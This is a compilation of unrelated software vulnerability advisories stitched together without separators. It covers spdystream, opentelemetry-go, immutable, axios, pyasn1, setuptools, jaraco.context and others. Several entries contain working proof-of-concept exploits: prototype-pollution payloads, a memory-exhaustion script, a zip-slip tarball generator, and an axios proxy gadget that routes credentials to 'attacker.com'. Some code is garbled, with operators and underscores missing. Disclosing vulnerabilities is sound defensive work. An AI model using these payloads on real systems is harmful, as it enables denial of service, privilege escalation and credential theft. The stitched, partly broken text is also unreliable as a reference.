spdystream is a Go library for multiplexing streams over SPDY connections. In versions 0.5.0 and below, the SPDY/3 frame parser does not validate attacker-controlled counts and lengths before allocating memory. Three allocation paths are affected: the SETTINGS frame entry count, the header count in parseHeaderValueBlock, and individual header field sizes — all read as 32-bit integers and used directly as allocation sizes with no bounds checking. Because SPDY header blocks are zlib-compressed, a small on-the-wire payload can decompress into large attacker-controlled values. A remote peer that can send SPDY frames to a service using spdystream can exhaust process memory and cause an out-of-memory crash with a single crafted control frame. This issue has been fixed in version 0.5.1.
multi-value baggage: header extraction parses each header field-value independently and aggregates members across values. this allows an attacker to amplify cpu and allocations by sending many baggage: header lines, even when each individual value is within the 8192-byte per-value parse limit.
severity
HIGH (availability / remote request amplification)
relevant links
- repository: https://github.com/open-telemetry/opentelemetry-go - pinned callsite: https://github.com/open-telemetry/opentelemetry-go/blob/1ee4a4126dbdd1bc79e9fae072fa488beffac52a/propagation/baggage.go#L58
vulnerability details
pins: open-telemetry/opentelemetry-go@1ee4a4126dbdd1bc79e9fae072fa488beffac52a as-of: 2026-02-04 policy: direct (no program scope provided)
callsite: propagation/baggage.go:58 (extractMultiBaggage) attacker control: inbound HTTP request headers (many baggage field-values) → propagation.HeaderCarrier.Values("baggage") → repeated baggage.Parse + member aggregation
root cause
extractMultiBaggage iterates over all baggage header field-values and parses each one independently, then appends members into a shared slice. the 8192-byte parsing cap applies per header value, but the multi-value path repeats that work once per header line (bounded only by the server/proxy header byte limit).
impact
in a default net/http configuration (max header bytes 1mb), a single request with many baggage: header field-values can cause large per-request allocations and increased latency.
example from the attached PoC harness (darwin/arm64; 80 values; 40 requests):
- canonical: perreqallocbytes=10315458 and p95ms=7 - control: perreqallocbytes=133429 and p95ms=0
proof of concept
canonical:
bash mkdir -p poc unzip poc.zip -d poc cd poc make test
output (excerpt):
[CALLSITEHIT]: propagation/baggage.go:58 extractMultiBaggage [PROOFMARKER]: baggagemultivalueamplification p95ms=7 perreqallocbytes=10315458 perreqallocs=16165
control:
bash cd poc make control
control output (excerpt):
[NCMARKER]: baggagesinglevaluebaseline p95ms=0 perreqallocbytes=133429 perreqallocs=480
expected: multiple baggage header field-values should be semantically equivalent to a single comma-joined baggage value and should not multiply parsing/alloc work within the effective header byte budget. actual: multiple baggage header field-values trigger repeated parsing and member aggregation, causing high per-request allocations and increased latency even when each individual value is within 8192 bytes.
fix recommendation
avoid repeated parsing across multi-values by enforcing a global budget and/or normalizing multi-values into a single value before parsing. one mitigation approach is to treat multi-values as a single comma-joined string and cap total parsed bytes (for example 8192 bytes total).
fix accepted when: under the default PoC harness settings, canonical stays within 2x of control for perreqallocbytes and perreqallocs, and p95ms stays below 2ms.
poc.zip PRDESCRIPTION.md
Impact What kind of vulnerability is it? Who is impacted?
A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.
Affected APIs
| API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | mergeDeep(target, source) | Iterates source keys via ObjectSeq, assigns merged[key] | | mergeDeepWith(merger, target, source) | Same code path | | merge(target, source) | Shallow variant, same assignment logic | | Map.toJS() | object[k] = v in toObject() with no proto guard | | Map.toObject() | Same toObject() implementation | | Map.mergeDeep(source) | When source is converted to plain object |
Patches Has the problem been patched? What versions should users upgrade to?
| major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 |
Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?
- Validate user input - Node.js flag --disable-proto - Lock down built-in objects - Avoid lookups on the prototype - Create JavaScript objects with null prototype
Proof of Concept
PoC 1 — mergeDeep privilege escalation
javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4
// Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","proto":{"role":"admin","admin":true}}', );
const merged = mergeDeep(userProfile, requestBody);
console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via proto!
// Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)
// Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true
PoC 2 — All affected APIs
javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");
const payload = JSON.parse('{"proto":{"admin":true,"role":"superadmin"}}');
// 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true
// 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true
// 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true
// 4. Map.toJS() with proto key const m = Map({ user: "alice" }).set("proto", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true
// 5. Map.toObject() with proto key const m2 = Map({ user: "alice" }).set("proto", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true
// 6. Nested path const nested = JSON.parse('{"profile":{"proto":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true
// 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe)
Verified output against immutable@5.1.4:
mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted
References Are there any links users can visit to find out more?
- JavaScript prototype pollution
Denial of Service via proto Key in mergeConfig
Summary
The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing proto as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.
Details
The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:
javascript utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) { const merge = mergeMap[prop] || mergeDeepProperties; const configValue = merge(config1[prop], config2[prop], prop); (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue); });
When prop is 'proto':
1. JSON.parse('{"proto": {...}}') creates an object with proto as an own enumerable property 2. Object.keys() includes 'proto' in the iteration 3. mergeMap['proto'] performs prototype chain lookup, returning Object.prototype (truthy object) 4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype 5. Object.prototype(...) throws TypeError: merge is not a function
The mergeConfig function is called by:
- Axios.request() at lib/core/Axios.js:75 - Axios.getUri() at lib/core/Axios.js:201 - All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224
PoC
javascript import axios from "axios";
const maliciousConfig = JSON.parse('{"proto": {"x": 1}}'); await axios.get("https://httpbin.org/get", maliciousConfig);
Reproduction steps:
1. Clone axios repository or npm install axios 2. Create file poc.mjs with the code above 3. Run: node poc.mjs 4. Observe the TypeError crash
Verified output (axios 1.13.4):
TypeError: merge is not a function at computeConfigValue (lib/core/mergeConfig.js:100:25) at Object.forEach (lib/utils.js:280:10) at mergeConfig (lib/core/mergeConfig.js:98:9)
Control tests performed: | Test | Config | Result | |------|--------|--------| | Normal config | {"timeout": 5000} | SUCCESS | | Malicious config | JSON.parse('{"proto": {"x": 1}}') | CRASH | | Nested object | {"headers": {"X-Test": "value"}} | SUCCESS |
Attack scenario: An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"proto": {"x": 1}}.
Impact
Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.
Affected environments:
- Node.js servers using axios for HTTP requests - Any backend that passes parsed JSON to axios configuration
This is NOT prototype pollution - the application crashes before any assignment occurs.
Summary
After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.
Details
The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496
PoC
For the DoS: py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource
Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMITAS, (10010241024, 10010241024)) print("[] Memory limit set to 100MB") except: print("[-] Could not set memory limit")
Test with different payload sizes to find the DoS threshold payloadsizemb = int(sys.argv[1])
print(f"[] Testing with {payloadsizemb}MB payload...")
payloadsize = payloadsizemb 1024 1024 Create payload with continuation octets Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' payloadsize + b'\x00' length = len(payload)
DER length encoding (supports up to 4GB) if length < 128: lengthbytes = bytes([length]) elif length < 256: lengthbytes = b'\x81' + length.tobytes(1, 'big') elif length < 2562: lengthbytes = b'\x82' + length.tobytes(2, 'big') elif length < 2563: lengthbytes = b'\x83' + length.tobytes(3, 'big') else: # 4 bytes can handle up to 4GB lengthbytes = b'\x84' + length.tobytes(4, 'big')
Use OID (0x06) for more aggressive parsing maliciouspacket = b'\x06' + lengthbytes + payload
print(f"[] Packet size: {len(maliciouspacket) / 1024 / 1024:.1f} MB")
try: print("[] Decoding (this may take time or exhaust memory)...") result = decoder.decode(maliciouspacket, asn1Spec=univ.ObjectIdentifier())
print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
# Try to convert to string print('[] Converting to string...') try: strresult = str(result[0]) print(f'[+] String succeeded: {len(strresult)} chars') if len(strresult) > 10000: print(f'[!] MEMORY EXPLOSION: {len(strresult)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).name} during string conversion')
except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).name}: {e}')
print("\n[] Test completed")
Screenshots with the results:
DoS <img width="944" height="207" alt="Screenshot20251219160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" />
<img width="931" height="231" alt="Screenshot20251219152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" />
Leak analysis
A potential heap leak was investigated but came back clean: [] Creating 1000KB payload... [] Decoding with pyasn1... [] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heapdump.bin
[] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
[] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.
[] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1%
Scenario
1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.
Impact
This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.
Recommendation
Add a limit to the allowed bytes in the decoder.
tar.Reader can allocate an unbounded amount of memory when reading a maliciously-crafted archive containing a large number of sparse regions encoded in the "old GNU sparse map" format.
Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.
The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.
Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.
Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/adapters/http.js (config property access on merged object)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
CVSS 3.1
Score: 9.4 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |
Why This Bypasses mergeConfig
The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:
1. mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set 2. defaultToConfig2 for proxy is never called 3. The merged config has no own proxy property 4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain 5. Object.prototype.proxy is found → used by setProxy()
This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:
javascript Object.prototype.proxy = { host: 'attacker.com', port: 8080, protocol: 'http', };
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
javascript // This looks safe to the developer — no proxy configured const response = await axios.get('https://api.internal.corp/secrets', { auth: { username: 'svc-account', password: 'prod-key-abc123!' } });
3. The Execution
At http.js:668-670: javascript setProxy( options, config.proxy, // ← traverses prototype chain → finds polluted proxy protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path );
setProxy() at http.js:191-239 then: javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // = { host: 'attacker.com', port: 8080 } // ... if (proxy) { options.hostname = proxy.hostname || proxy.host; // → 'attacker.com' options.port = proxy.port; // → 8080 options.path = location; // → full URL as path // ... } }
4. The Impact (Full MITM)
The attacker's proxy server receives:
http GET http://api.internal.corp/secrets HTTP/1.1 Host: api.internal.corp Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ== User-Agent: axios/1.15.0 Accept: application/json, text/plain, /
The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker: - Sees every request URL, header, and body - Modifies every response (inject malicious data, change auth results) - Logs all API keys, session tokens, and passwords - Operates as an invisible proxy — the developer has no indication
5. Verified PoC Code
javascript import http from 'http'; import axios from './index.js';
// Attacker's proxy server const intercepted = []; const proxyServer = http.createServer((req, res) => { intercepted.push({ url: req.url, authorization: req.headers.authorization, headers: req.headers, }); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"hijacked":true}'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port;
// Real target server const realServer = http.createServer((req, res) => { res.writeHead(200); res.end('{"data":"real"}'); }); await new Promise(r => realServer.listen(0, r)); const realPort = realServer.address().port;
// Prototype pollution Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };
// "Safe" request — goes through attacker's proxy const resp = await axios.get(http://127.0.0.1:${realPort}/api/secrets, { auth: { username: 'admin', password: 'SuperSecret123!' } });
console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server'); console.log('Intercepted Authorization:', intercepted[0]?.authorization); // Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)
delete Object.prototype.proxy; realServer.close(); proxyServer.close();
Verified PoC Output
[1] Normal request (before pollution): Response source: real server response.data: {"data":"from-real-server"} Proxy intercept count: 0
[2] Prototype Pollution: Object.prototype.proxy Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }
[3] Request after pollution (same code, same URL): Response source: ATTACKER PROXY! response.data: {"data":"from-attacker-proxy","hijacked":true}
[4] Data intercepted by attacker's proxy: Full URL: http://127.0.0.1:50878/api/secrets Host: 127.0.0.1:50878 Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh All headers: { "accept": "application/json, text/plain, /", "user-agent": "axios/1.15.0", "accept-encoding": "gzip, compress, deflate, br", "host": "127.0.0.1:50878", "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh", "connection": "keep-alive" }
[5] Attacker capabilities demonstrated: ✓ Full URL visible (including internal hostnames) ✓ Authorization header visible (Base64-encoded credentials) ✓ Can modify/forge response data ✓ Affects ALL axios HTTP requests (not just a single instance) ✓ No assertOptions constraints (unlike transformResponse gadget)
Impact Analysis
- Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext. - Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true". - Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths. - Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios. - Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses. - Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.
Why This Is More Severe Than transformResponse (axios26)
| Dimension | transformResponse Gadget | proxy Gadget | |---|---|---| | Data access | this.auth + response data | All headers, auth, body, URL, response | | Response control | Must return true | Arbitrary responses | | Attack visibility | Response becomes true (suspicious) | Normal-looking responses (invisible) | | mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely |
Recommended Fix
Fix 1: Use hasOwnProperty when reading security-sensitive config properties
javascript // In lib/adapters/http.js const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined; setProxy(options, proxy, location);
Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty
Properties not in defaults that are read by http.js and have security impact: - config.proxy — MITM - config.socketPath — Unix socket SSRF - config.transport — request hijack - config.lookup — DNS hijack - config.beforeRedirect — redirect manipulation - config.httpAgent / config.httpsAgent — agent injection
All should use hasOwnProperty checks.
Fix 3: Use null-prototype object for merged config
javascript // In lib/core/mergeConfig.js const config = Object.create(null);
Resources
- CWE-1321: Prototype Pollution - CWE-441: Unintended Proxy - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) - Axios GitHub Repository
Timeline
| Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — full MITM confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |
Memory-safety vulnerability in github.com/jackc/pgx/v5.
Bypass of meta content URL escaping causes XSS in html/template
Escaper bypass leads to XSS in html/template
ReverseProxy can forward queries containing parameters not visible to Rewrite functions. When used with a Rewrite function, or a Director function which parses query parameters, ReverseProxy sanitizes the forwarded request to remove query parameters which are not parsed by url.ParseQuery. ReverseProxy does not take ParseQuery's limit on the total number of query parameters (controlled by GODEBUG=urlmaxqueryparams=N) into account. This can permit ReverseProxy to forward a request containing a query parameter that is not visible to the Rewrite function. For example, the query "a1=x&a2=x&...&a10000=x&hidden=y" can forward the parameter "hidden=y" while hiding it from the proxy's Rewrite function.
Calling Verify with a VerifyOptions.KeyUsages that contains ExtKeyUsageAny unintentionally disabledpolicy validation. This only affected certificate chains which contain policy graphs, which are rather uncommon.
IBM Concert 1.0.0 through 2.3.1 could allow a remote attacker to perform unauthorized actions using man in the middle techniques due to improper certificate validation.
IBM Concert
Summary A path traversal vulnerability in PackageIndex was fixed in setuptools version 78.1.1
Details def downloadurl(self, url, tmpdir): # Determine download filename # name, fragment = egginfoforurl(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '') else: name = "downloaded" # default if URL has no path contents
if name.endswith('.egg.zip'): name = name[:-4] # strip the extra .zip before download
--> filename = os.path.join(tmpdir, name)
Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/packageindex.py#L810C1-L825C88
os.path.join() discards the first argument tmpdir if the second begins with a slash or drive letter. name is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient.
Risk Assessment As easyinstall and packageindex are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index.
Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context.
References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 https://github.com/pypa/setuptools/issues/4946
Summary There is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in jaraco.context.tarball() function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The stripfirstcomponent filter splits the path on the first / and extracts the second component, while allowing ../ sequences. Paths like dummydir/../../etc/passwd become ../../etc/passwd. Note that this suffers from a nested tarball attack as well with multi-level tar files such as dummydir/inner.tar.gz, where the inner.tar.gz includes a traversal dummydir/../../config/.env that also gets translated to ../../config/.env.
The code can be found: - https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/init.py#L74-L91 - https://github.com/pypa/setuptools/blob/main/setuptools/vendor/jaraco/context.py#L55-L76 (inherited)
This report was also sent to setuptools maintainers and they asked some questions regarding this.
The lengthy answer is:
The vulnerability seems to be the stripfirstcomponent filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball). The stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.
The short answer is:
If we are talking about Python < 3.12 the tarball and jaraco implementations / behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection.
Sampled tests: <img width="1634" height="245" alt="image" src="https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb" />
Details
The flow with setuptools in the mix: setuptools.vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|') as tf: > tf.extractall(path=targetdir, filter=stripfirstcomponent) > stripfirstcomponent (Vulnerable)
PoC
This was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm). You can run this directly after having all the dependencies: py #!/usr/bin/env python3 import tarfile import io import os import sys import shutil import tempfile from setuptools.vendor.jaraco.context import stripfirstcomponent
def createmalicioustarball(): tardata = io.BytesIO() with tarfile.open(fileobj=tardata, mode='w') as tar: # Create a malicious file path with traversal sequences maliciousfiles = [ # Attempt 1: Simple traversal to /tmp { 'path': 'dummydir/../../tmp/pwnedbyzipslip.txt', 'content': b'[ZIPSLIP] File written to /tmp via path traversal!', 'name': 'pwnedviatmp' }, # Attempt 2: Try to write to home directory { 'path': 'dummydir/../../../../home/pwnedhome.txt', 'content': b'[ZIPSLIP] Attempted write to home directory', 'name': 'pwnedviahome' }, # Attempt 3: Try to write to current directory parent { 'path': 'dummydir/../escaped.txt', 'content': b'[ZIPSLIP] File in parent directory!', 'name': 'pwnedescaped' }, # Attempt 4: Legitimate file for comparison { 'path': 'dummydir/legitimatefile.txt', 'content': b'This file stays in target directory', 'name': 'legitimate' } ] for fileinfo in maliciousfiles: content = fileinfo['content'] tarinfo = tarfile.TarInfo(name=fileinfo['path']) tarinfo.size = len(content) tar.addfile(tarinfo, io.BytesIO(content))
tardata.seek(0) return tardata
def exploitzipslip(): print("[] Target: setuptools.vendor.jaraco.context.tarball()")
# Create temporary directory for extraction tempbase = tempfile.mkdtemp(prefix="zipsliptest") targetdir = os.path.join(tempbase, "extractiontarget")
try: os.mkdir(targetdir) print(f"[+] Created target extraction directory: {targetdir}")
# Create malicious tarball print("[] Creating malicious tar archive...") tardata = createmalicioustarball()
try: with tarfile.open(fileobj=tardata, mode='r') as tf: for member in tf: # Apply the ACTUAL vulnerable function from setuptools processedmember = stripfirstcomponent(member, targetdir) print(f"[] Extracting: {member.name:40} -> {processedmember.name}") # Extract to target directory try: tf.extract(processedmember, path=targetdir) print(f" ✓ Extracted successfully") except (PermissionError, FileNotFoundError) as e: print(f" ! {type(e).name}: Path traversal ATTEMPTED") except Exception as e: print(f"[!] Extraction raised exception: {type(e).name}: {e}") # Check results print("[] Checking for extracted files...")
# Check target directory print(f"[] Files in target directory ({targetdir}):") if os.path.exists(targetdir): for root, , files in os.walk(targetdir): level = root.replace(targetdir, '').count(os.sep) indent = ' ' 2 level print(f"{indent}{os.path.basename(root)}/") subindent = ' ' 2 (level + 1) for file in files: filepath = os.path.join(root, file) try: with open(filepath, 'r') as f: content = f.read()[:50] print(f"{subindent}{file}") print(f"{subindent} └─ {content}...") except: print(f"{subindent}{file} (binary)") else: print(f"[!] Target directory not found!") print() print("[] Checking for traversal attempts...") print()
# Check if files escaped traversalattempts = [ ("/tmp/pwnedbyzipslip.txt", "Escape to /tmp"), (os.path.expanduser("~/pwnedhome.txt"), "Escape to home"), (os.path.join(tempbase, "escaped.txt"), "Escape to parent"), ]
escaped = False for checkpath, description in traversalattempts: if os.path.exists(checkpath): print(f"[+] Path Traversal Confirmed: {description}") print(f" File created at: {checkpath}") try: with open(checkpath, 'r') as f: content = f.read() print(f" Content: {content}") print(f" Removing: {checkpath}") os.remove(checkpath) except Exception as e: print(f" Error reading: {e}") escaped = True else: print(f"[-] OK: {description} - No escape detected")
if escaped: print("[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!") else: print("[-] No path traversal detected (mitigation in place)")
finally: # Cleanup print() print(f"[] Cleaning up: {tempbase}") try: shutil.rmtree(tempbase) except Exception as e: print(f"[!] Cleanup error: {e}")
def checkpythonversion(): print(f"[+] Python version: {sys.version}") # Python 3.11.4+ added DEFAULTFILTER if hasattr(tarfile, 'DEFAULTFILTER'): print("[+] Python has DEFAULTFILTER (tarfile security hardening)") else: print("[!] Python does not have DEFAULTFILTER (older version)") print()
if name == "main": checkpythonversion() exploitzipslip()
Output: [+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] [!] Python does not have DEFAULTFILTER (older version)
[] Target: setuptools.vendor.jaraco.context.tarball() [+] Created target extraction directory: /tmp/zipsliptesttnu3qpd5/extractiontarget [] Creating malicious tar archive... [] Extracting: ../../tmp/pwnedbyzipslip.txt -> ../../tmp/pwnedbyzipslip.txt ✓ Extracted successfully [] Extracting: ../../../../home/pwnedhome.txt -> ../../../../home/pwnedhome.txt ! PermissionError: Path traversal ATTEMPTED [] Extracting: ../escaped.txt -> ../escaped.txt ✓ Extracted successfully [] Extracting: legitimatefile.txt -> legitimatefile.txt ✓ Extracted successfully [] Checking for extracted files... [] Files in target directory (/tmp/zipsliptesttnu3qpd5/extractiontarget): extractiontarget/ legitimatefile.txt └─ This file stays in target directory...
[] Checking for traversal attempts...
[-] OK: Escape to /tmp - No escape detected [-] OK: Escape to home - No escape detected [+] Path Traversal Confirmed: Escape to parent File created at: /tmp/zipsliptesttnu3qpd5/escaped.txt Content: [ZIPSLIP] File in parent directory! Removing: /tmp/zipsliptesttnu3qpd5/escaped.txt [+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!
[] Cleaning up: /tmp/zipsliptesttnu3qpd5
Impact
- Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files. - Privesc (LOW exploitability) - Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.
Remediation
I guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter stripfirstcomponent that skips or sanitizes ../ character sequences since it is already there eg. if member.name.startswith('/') or '..' in member.name: raise ValueError(f"Attempted path traversal detected: {member.name}")
React Router is a router for React. In versions 7.0.0 through 7.14.1, when using Framework Mode, a combination of steps could potentially allow unauthorized remote code execution (RCE) through external requests. This attack requires the application code to have an existing prototype pollution vulnerability, which can then be leveraged in a 2-step attack where the second step triggers unauthorized RCE on the remote server. This does not impact applications using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>). This is patched in version 7.14.2.
axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.
Impact
body-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service.
Patches
this issue is patched in 1.20.3
References
Summary The Python parser is vulnerable to a request smuggling vulnerability due to not parsing trailer sections of an HTTP request.
